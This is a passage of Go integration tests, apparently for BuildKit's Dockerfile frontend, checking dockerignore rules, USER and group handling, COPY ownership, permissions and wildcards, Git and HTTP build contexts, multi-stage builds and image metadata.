newContainerd(cdAddress) require.NoError(t, err) defer client.Close() ctx := namespaces.WithNamespace(context.Background(), ""buildkit"") img, err := client.ImageService().Get(ctx, target) require.NoError(t, err) desc, err := img.Config(ctx, client.ContentStore(), platforms.Default()) require.NoError(t, err) dt, err := content.ReadBlob(ctx, client.ContentStore(), desc) require.NoError(t, err) var ociimg ocispec.Image err = json.Unmarshal(dt, &ociimg) require.NoError(t, err) require.Equal(t, 3, len(ociimg.Config.ExposedPorts)) var ports []string for p := range ociimg.Config.ExposedPorts { ports = append(ports, p) } sort.Strings(ports) require.Equal(t, ""3000/tcp"", ports[0]) require.Equal(t, ""4000/udp"", ports[1]) require.Equal(t, ""5000/tcp"", ports[2]) } func testDockerignore(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM scratch COPY . . `) dockerignore := []byte(` ba* Dockerfile !bay .dockerignore `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(`foo-contents`), 0600), fstest.CreateFile(""bar"", []byte(`bar-contents`), 0600), fstest.CreateFile(""baz"", []byte(`baz-contents`), 0600), fstest.CreateFile(""bay"", []byte(`bay-contents`), 0600), fstest.CreateFile("".dockerignore"", dockerignore, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""foo"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) _, err = os.Stat(filepath.Join(destDir, "".dockerignore"")) require.Error(t, err) require.True(t, errors.Is(err, os.ErrNotExist)) _, err = os.Stat(filepath.Join(destDir, ""Dockerfile"")) require.Error(t, err) require.True(t, errors.Is(err, os.ErrNotExist)) _, err = os.Stat(filepath.Join(destDir, ""bar"")) require.Error(t, err) require.True(t, errors.Is(err, os.ErrNotExist)) _, err = os.Stat(filepath.Join(destDir, ""baz"")) require.Error(t, err) require.True(t, errors.Is(err, os.ErrNotExist)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""bay"")) require.NoError(t, err) require.Equal(t, ""bay-contents"", string(dt)) } func testDockerignoreInvalid(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM scratch COPY . . `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile("".dockerignore"", []byte(""!\n""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) defer cancel() c, err := client.New(ctx, sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(ctx, c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) // err is either the expected error due to invalid dockerignore or error from the timeout require.Error(t, err) select { case <-ctx.Done(): t.Fatal(""timed out"") default: } } // moby/moby#10858 func testDockerfileLowercase(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(`FROM scratch `) dir, err := tmpdir( fstest.CreateFile(""dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) ctx := context.TODO() c, err := client.New(ctx, sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(ctx, c, client.SolveOpt{ LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testExportedHistory(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) f.RequiresBuildctl(t) // using multi-stage to test that history is scoped to one stage dockerfile := []byte(` FROM busybox AS base ENV foo=bar COPY foo /foo2 FROM busybox LABEL lbl=val COPY --from=base foo2 foo3 WORKDIR / RUN echo bar > foo4 RUN [""ls""] `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(""contents0""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) args, trace := f.DFCmdArgs(dir, dir) defer os.RemoveAll(trace) target := ""example.com/moby/dockerfilescratch:test"" cmd := sb.Cmd(args + "" --exporter=image --exporter-opt=name="" + target) require.NoError(t, cmd.Run()) // TODO: expose this test to OCI worker cdAddress := sb.ContainerdAddress() if cdAddress == """" { t.Skip(""rest of test requires containerd worker"") } client, err := newContainerd(cdAddress) require.NoError(t, err) defer client.Close() ctx := namespaces.WithNamespace(context.Background(), ""buildkit"") img, err := client.ImageService().Get(ctx, target) require.NoError(t, err) desc, err := img.Config(ctx, client.ContentStore(), platforms.Default()) require.NoError(t, err) dt, err := content.ReadBlob(ctx, client.ContentStore(), desc) require.NoError(t, err) var ociimg ocispec.Image err = json.Unmarshal(dt, &ociimg) require.NoError(t, err) require.Equal(t, ""layers"", ociimg.RootFS.Type) // this depends on busybox. should be ok after freezing images require.Equal(t, 3, len(ociimg.RootFS.DiffIDs)) require.Equal(t, 7, len(ociimg.History)) require.Contains(t, ociimg.History[2].CreatedBy, ""lbl=val"") require.Equal(t, true, ociimg.History[2].EmptyLayer) require.NotNil(t, ociimg.History[2].Created) require.Contains(t, ociimg.History[3].CreatedBy, ""COPY foo2 foo3"") require.Equal(t, false, ociimg.History[3].EmptyLayer) require.NotNil(t, ociimg.History[3].Created) require.Contains(t, ociimg.History[4].CreatedBy, ""WORKDIR /"") require.Equal(t, true, ociimg.History[4].EmptyLayer) require.NotNil(t, ociimg.History[4].Created) require.Contains(t, ociimg.History[5].CreatedBy, ""echo bar > foo4"") require.Equal(t, false, ociimg.History[5].EmptyLayer) require.NotNil(t, ociimg.History[5].Created) require.Contains(t, ociimg.History[6].CreatedBy, ""RUN ls"") require.Equal(t, true, ociimg.History[6].EmptyLayer) require.NotNil(t, ociimg.History[6].Created) } func skipDockerd(t *testing.T, sb integration.Sandbox) { // TODO: remove me once dockerd supports the image and exporter. t.Helper() if os.Getenv(""TEST_DOCKERD"") == ""1"" { t.Skip(""dockerd missing a required exporter, cache exporter, or entitlement"") } } func testUser(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) dockerfile := []byte(` FROM busybox AS base RUN mkdir -m 0777 /out RUN id -un > /out/rootuser # Make sure our defaults work RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)"" = '0:0/root:root' ] # TODO decide if ""args.user = strconv.Itoa(syscall.Getuid())"" is acceptable behavior for changeUser in sysvinit instead of ""return nil"" when ""USER"" isn't specified (so that we get the proper group list even if that is the empty list, even in the default case of not supplying an explicit USER to run as, which implies USER 0) USER root RUN [ ""$(id -G):$(id -Gn)"" = '0 10:root wheel' ] # Setup dockerio user and group RUN echo 'dockerio:x:1001:1001::/bin:/bin/false' >> /etc/passwd && \ echo 'dockerio:x:1001:' >> /etc/group # Make sure we can switch to our user and all the information is exactly as we expect it to be USER dockerio RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '1001:1001/dockerio:dockerio/1001:dockerio' ] # Switch back to root and double check that worked exactly as we might expect it to USER root RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '0:0/root:root/0 10:root wheel' ] && \ # Add a ""supplementary"" group for our dockerio user echo 'supplementary:x:1002:dockerio' >> /etc/group # ... and then go verify that we get it like we expect USER dockerio RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '1001:1001/dockerio:dockerio/1001 1002:dockerio supplementary' ] USER 1001 RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '1001:1001/dockerio:dockerio/1001 1002:dockerio supplementary' ] # super test the new ""user:group"" syntax USER dockerio:dockerio RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '1001:1001/dockerio:dockerio/1001:dockerio' ] USER 1001:dockerio RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '1001:1001/dockerio:dockerio/1001:dockerio' ] USER dockerio:1001 RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '1001:1001/dockerio:dockerio/1001:dockerio' ] USER 1001:1001 RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '1001:1001/dockerio:dockerio/1001:dockerio' ] USER dockerio:supplementary RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '1001:1002/dockerio:supplementary/1002:supplementary' ] USER dockerio:1002 RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '1001:1002/dockerio:supplementary/1002:supplementary' ] USER 1001:supplementary RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '1001:1002/dockerio:supplementary/1002:supplementary' ] USER 1001:1002 RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '1001:1002/dockerio:supplementary/1002:supplementary' ] # make sure unknown uid/gid still works properly USER 1042:1043 RUN [ ""$(id -u):$(id -g)/$(id -un):$(id -gn)/$(id -G):$(id -Gn)"" = '1042:1043/1042:1043/1043:1043' ] USER daemon RUN id -un > /out/daemonuser FROM scratch COPY --from=base /out / USER nobody `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""rootuser"")) require.NoError(t, err) require.Equal(t, ""root\n"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""daemonuser"")) require.NoError(t, err) require.Equal(t, ""daemon\n"", string(dt)) // test user in exported target := ""example.com/moby/dockerfileuser:test"" _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""name"": target, }, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) cdAddress := sb.ContainerdAddress() if cdAddress == """" { t.Skip(""rest of test requires containerd worker"") } client, err := newContainerd(cdAddress) require.NoError(t, err) defer client.Close() ctx := namespaces.WithNamespace(context.Background(), ""buildkit"") img, err := client.ImageService().Get(ctx, target) require.NoError(t, err) desc, err := img.Config(ctx, client.ContentStore(), platforms.Default()) require.NoError(t, err) dt, err = content.ReadBlob(ctx, client.ContentStore(), desc) require.NoError(t, err) var ociimg ocispec.Image err = json.Unmarshal(dt, &ociimg) require.NoError(t, err) require.Equal(t, ""nobody"", ociimg.Config.User) } func testCopyChown(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM busybox AS base ENV owner 1000 RUN mkdir -m 0777 /out COPY --chown=daemon foo / COPY --chown=1000:nobody bar /baz ARG group COPY --chown=${owner}:${group} foo /foobis RUN stat -c ""%U %G"" /foo > /out/fooowner RUN stat -c ""%u %G"" /baz/sub > /out/subowner RUN stat -c ""%u %G"" /foobis > /out/foobisowner FROM scratch COPY --from=base /out / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(`foo-contents`), 0600), fstest.CreateDir(""bar"", 0700), fstest.CreateFile(""bar/sub"", nil, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), ""build-arg:group"": ""nobody"", }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""fooowner"")) require.NoError(t, err) require.Equal(t, ""daemon daemon\n"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""subowner"")) require.NoError(t, err) require.Equal(t, ""1000 nobody\n"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""foobisowner"")) require.NoError(t, err) require.Equal(t, ""1000 nobody\n"", string(dt)) } func testCopyChmod(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM busybox AS base RUN mkdir -m 0777 /out COPY --chmod=0644 foo / COPY --chmod=777 bar /baz COPY --chmod=0 foo /foobis RUN stat -c ""%04a"" /foo > /out/fooperm RUN stat -c ""%04a"" /baz > /out/barperm RUN stat -c ""%04a"" /foobis > /out/foobisperm FROM scratch COPY --from=base /out / `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(`foo-contents`), 0600), fstest.CreateFile(""bar"", []byte(`bar-contents`), 0700), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) if !isFileOp { require.Contains(t, err.Error(), ""chmod is not supported"") return } require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""fooperm"")) require.NoError(t, err) require.Equal(t, ""0644\n"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""barperm"")) require.NoError(t, err) require.Equal(t, ""0777\n"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""foobisperm"")) require.NoError(t, err) require.Equal(t, ""0000\n"", string(dt)) } func testCopyOverrideFiles(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM scratch AS base COPY sub sub COPY sub sub COPY files/foo.go dest/foo.go COPY files/foo.go dest/foo.go COPY files dest `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateDir(""sub"", 0700), fstest.CreateDir(""sub/dir1"", 0700), fstest.CreateDir(""sub/dir1/dir2"", 0700), fstest.CreateFile(""sub/dir1/dir2/foo"", []byte(`foo-contents`), 0600), fstest.CreateDir(""files"", 0700), fstest.CreateFile(""files/foo.go"", []byte(`foo.go-contents`), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""sub/dir1/dir2/foo"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""dest/foo.go"")) require.NoError(t, err) require.Equal(t, ""foo.go-contents"", string(dt)) } func testCopyVarSubstitution(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM scratch AS base ENV FOO bar COPY $FOO baz `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""bar"", []byte(`bar-contents`), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""baz"")) require.NoError(t, err) require.Equal(t, ""bar-contents"", string(dt)) } func testCopyWildcards(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM scratch AS base COPY *.go /gofiles/ COPY f*.go foo2.go COPY sub/* /subdest/ COPY sub/*/dir2/foo /subdest2/ COPY sub/*/dir2/foo /subdest3/bar COPY . all/ COPY sub/dir1/ subdest4 COPY sub/dir1/. subdest5 COPY sub/dir1 subdest6 `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo.go"", []byte(`foo-contents`), 0600), fstest.CreateFile(""bar.go"", []byte(`bar-contents`), 0600), fstest.CreateDir(""sub"", 0700), fstest.CreateDir(""sub/dir1"", 0700), fstest.CreateDir(""sub/dir1/dir2"", 0700), fstest.CreateFile(""sub/dir1/dir2/foo"", []byte(`foo-contents`), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""gofiles/foo.go"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""gofiles/bar.go"")) require.NoError(t, err) require.Equal(t, ""bar-contents"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""foo2.go"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) if isFileOp { // non-fileop implementation is historically buggy dt, err = ioutil.ReadFile(filepath.Join(destDir, ""subdest/dir2/foo"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) } dt, err = ioutil.ReadFile(filepath.Join(destDir, ""subdest2/foo"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""subdest3/bar"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""all/foo.go"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""subdest4/dir2/foo"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""subdest5/dir2/foo"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""subdest6/dir2/foo"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) } func testCopyRelative(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) isFileOp := getFileOp(t, sb) dockerfile := []byte(` FROM busybox WORKDIR /test1 WORKDIR test2 RUN sh -c ""[ ""$PWD"" = '/test1/test2' ]"" COPY foo ./ RUN sh -c ""[ $(cat /test1/test2/foo) = 'hello' ]"" ADD foo ./bar/baz RUN sh -c ""[ $(cat /test1/test2/bar/baz) = 'hello' ]"" COPY foo ./bar/baz2 RUN sh -c ""[ $(cat /test1/test2/bar/baz2) = 'hello' ]"" WORKDIR .. COPY foo ./ RUN sh -c ""[ $(cat /test1/foo) = 'hello' ]"" COPY foo /test3/ RUN sh -c ""[ $(cat /test3/foo) = 'hello' ]"" WORKDIR /test4 COPY . . RUN sh -c ""[ $(cat /test4/foo) = 'hello' ]"" WORKDIR /test5/test6 COPY foo ../ RUN sh -c ""[ $(cat /test5/foo) = 'hello' ]"" `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(`hello`), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""build-arg:BUILDKIT_DISABLE_FILEOP"": strconv.FormatBool(!isFileOp), }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) } func testDockerfileFromGit(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) gitDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(gitDir) dockerfile := ` FROM busybox AS build RUN echo -n fromgit > foo FROM scratch COPY --from=build foo bar ` err = ioutil.WriteFile(filepath.Join(gitDir, ""Dockerfile""), []byte(dockerfile), 0600) require.NoError(t, err) err = runShell(gitDir, ""git init"", ""git config --local user.email test"", ""git config --local user.name test"", ""git add Dockerfile"", ""git commit -m initial"", ""git branch first"", ) require.NoError(t, err) dockerfile += ` COPY --from=build foo bar2 ` err = ioutil.WriteFile(filepath.Join(gitDir, ""Dockerfile""), []byte(dockerfile), 0600) require.NoError(t, err) err = runShell(gitDir, ""git add Dockerfile"", ""git commit -m second"", ""git update-server-info"", ) require.NoError(t, err) server := httptest.NewServer(http.FileServer(http.Dir(filepath.Join(gitDir)))) defer server.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""context"": server.URL + ""/.git#first"", }, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""bar"")) require.NoError(t, err) require.Equal(t, ""fromgit"", string(dt)) _, err = os.Stat(filepath.Join(destDir, ""bar2"")) require.Error(t, err) require.True(t, errors.Is(err, os.ErrNotExist)) // second request from master branch contains both files destDir, err = ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""context"": server.URL + ""/.git"", }, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, }, nil) require.NoError(t, err) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""bar"")) require.NoError(t, err) require.Equal(t, ""fromgit"", string(dt)) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""bar2"")) require.NoError(t, err) require.Equal(t, ""fromgit"", string(dt)) } func testDockerfileFromHTTP(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) buf := bytes.NewBuffer(nil) w := tar.NewWriter(buf) writeFile := func(fn, dt string) { err := w.WriteHeader(&tar.Header{ Name: fn, Mode: 0600, Size: int64(len(dt)), Typeflag: tar.TypeReg, }) require.NoError(t, err) _, err = w.Write([]byte(dt)) require.NoError(t, err) } writeFile(""mydockerfile"", `FROM scratch COPY foo bar `) writeFile(""foo"", ""foo-contents"") require.NoError(t, w.Flush()) resp := httpserver.Response{ Etag: identity.NewID(), Content: buf.Bytes(), } server := httpserver.NewTestServer(map[string]httpserver.Response{ ""/myurl"": resp, }) defer server.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""context"": server.URL + ""/myurl"", ""filename"": ""mydockerfile"", }, Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""bar"")) require.NoError(t, err) require.Equal(t, ""foo-contents"", string(dt)) } func testMultiStageImplicitFrom(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM scratch COPY --from=busybox /etc/passwd test `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""test"")) require.NoError(t, err) require.Contains(t, string(dt), ""root"") // testing masked image will load actual stage dockerfile = []byte(` FROM busybox AS golang RUN mkdir /usr/bin && echo -n foo > /usr/bin/go FROM scratch COPY --from=golang /usr/bin/go go `) dir, err = tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) destDir, err = ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) dt, err = ioutil.ReadFile(filepath.Join(destDir, ""go"")) require.NoError(t, err) require.Contains(t, string(dt), ""foo"") } func testMultiStageCaseInsensitive(t *testing.T, sb integration.Sandbox) { f := getFrontend(t, sb) dockerfile := []byte(` FROM scratch AS STAge0 COPY foo bar FROM scratch AS staGE1 COPY --from=staGE0 bar baz FROM scratch COPY --from=stage1 baz bax `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), fstest.CreateFile(""foo"", []byte(""foo-contents""), 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) _, err = f.Solve(context.TODO(), c, client.SolveOpt{ Exports: []client.ExportEntry{ { Type: client.ExporterLocal, OutputDir: destDir, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, FrontendAttrs: map[string]string{ ""target"": ""Stage1"", }, }, nil) require.NoError(t, err) dt, err := ioutil.ReadFile(filepath.Join(destDir, ""baz"")) require.NoError(t, err) require.Contains(t, string(dt), ""foo-contents"") } func testLabels(t *testing.T, sb integration.Sandbox) { skipDockerd(t, sb) f := getFrontend(t, sb) dockerfile := []byte(` FROM scratch LABEL foo=bar `) dir, err := tmpdir( fstest.CreateFile(""Dockerfile"", dockerfile, 0600), ) require.NoError(t, err) defer os.RemoveAll(dir) c, err := client.New(context.TODO(), sb.Address()) require.NoError(t, err) defer c.Close() destDir, err := ioutil.TempDir("""", ""buildkit"") require.NoError(t, err) defer os.RemoveAll(destDir) target := ""example.com/moby/dockerfilelabels:test"" _, err = f.Solve(context.TODO(), c, client.SolveOpt{ FrontendAttrs: map[string]string{ ""label:bar"": ""baz"", }, Exports: []client.ExportEntry{ { Type: client.ExporterImage, Attrs: map[string]string{ ""name"": target, }, }, }, LocalDirs: map[string]string{ builder.DefaultLocalNameDockerfile: dir, builder.DefaultLocalNameContext: dir, }, }, nil) require.NoError(t, err) cdAddress := sb.ContainerdAddress() if cdAddress == """" { 